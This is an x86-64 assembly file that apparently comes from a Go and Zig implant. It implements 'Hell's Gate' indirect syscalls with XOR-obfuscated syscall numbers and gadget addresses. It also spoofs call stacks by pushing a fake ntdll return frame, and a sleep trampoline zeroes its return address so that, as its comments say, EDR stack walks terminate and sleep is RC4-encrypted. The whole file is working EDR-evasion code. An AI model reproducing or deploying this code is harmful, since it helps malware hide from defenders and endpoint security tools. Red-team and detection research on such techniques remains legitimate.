.intel_syntax noprefix .data wSystemCallEnc: .long 0 qSyscallInsAddressEnc: .quad 0 qFakeReturnEnc: .quad 0 wMask: .long 0xDEADBEEF qMask: .quad 0xDEADBEEFDEADBEEF .text .global hells_gate .global hell_descent // Stack-spoofing trampoline for evasion_sleep. // Captures entry RSP (pointing at return address to Go), zeros it so EDR stack walks // terminate at this frame, then delegates to the Zig implementation. // Returns to Go with the original return address restored. .global evasion_sleep .section .drectve .ascii " -export:evasion_sleep" .text evasion_sleep: mov r11, [rsp] // save return address to Go mov qword ptr [rsp], 0 // zero it on the stack sub rsp, 0x28 // shadow space + alignment call evasion_sleep_inner // Zig: RC4 enc → NtDelayExecution → RC4 dec add rsp, 0x28 // clean up shadow space mov [rsp], r11 // restore return address ret hells_gate: xor ecx, dword ptr [rip + wMask] mov dword ptr [rip + wSystemCallEnc], ecx xor rdx, qword ptr [rip + qMask] mov qword ptr [rip + qSyscallInsAddressEnc], rdx mov rax, r8 xor rax, qword ptr [rip + qMask] mov qword ptr [rip + qFakeReturnEnc], rax ret // Callstack spoof: push a standalone ret from ntdll .text before jmp to // the syscall;ret gadget. The gadget's ret returns there → ntdll frame on kernel callstack. // Ref: WithSecure CallStackSpoofer — https://github.com/WithSecureLabs/CallStackSpoofer hell_descent: mov r10, rcx mov eax, dword ptr [rip + wSystemCallEnc] xor eax, dword ptr [rip + wMask] mov r11, qword ptr [rip + qSyscallInsAddressEnc] xor r11, qword ptr [rip + qMask] mov rcx, r9 // save arg4 — rcx free after mov r10,rcx mov r9, qword ptr [rip + qFakeReturnEnc] xor r9, qword ptr [rip + qMask] test r9, r9 jz .Ldone push r9 .Ldone: mov r9, rcx // restore arg4 jmp r11